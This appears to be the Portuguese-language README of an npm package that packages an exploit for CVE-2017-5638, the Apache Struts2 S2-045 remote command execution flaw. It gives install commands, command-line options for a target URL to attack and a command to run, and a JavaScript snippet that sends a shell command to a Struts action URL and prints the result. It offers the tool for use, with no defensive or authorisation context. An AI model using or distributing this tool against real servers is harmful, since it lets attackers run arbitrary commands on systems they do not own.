
Um exploit (e biblioteca) para CVE-2017-5638 - bug Apache Struts2 S2-045.
Um exploit (e biblioteca) para o CVE-2017-5638 - bug S2-045 do Apache Struts2.
$ npm install -g struts2shell
$ npm install struts2shell
-h, --help exibe informações de uso
-V, --version exibe o número da versão
-u, --url [target] URL para atacar
-c, --cmd [command] Comando para executar
var Struts2Shell = require('struts2shell');
Struts2Shell({
URL: 'http://example.com/some.action',
CMD: 'dir'
}, function(err, response,body) {
if(err) throw err;
console.log(body)
})

MIT
Software Livre, Isso aí!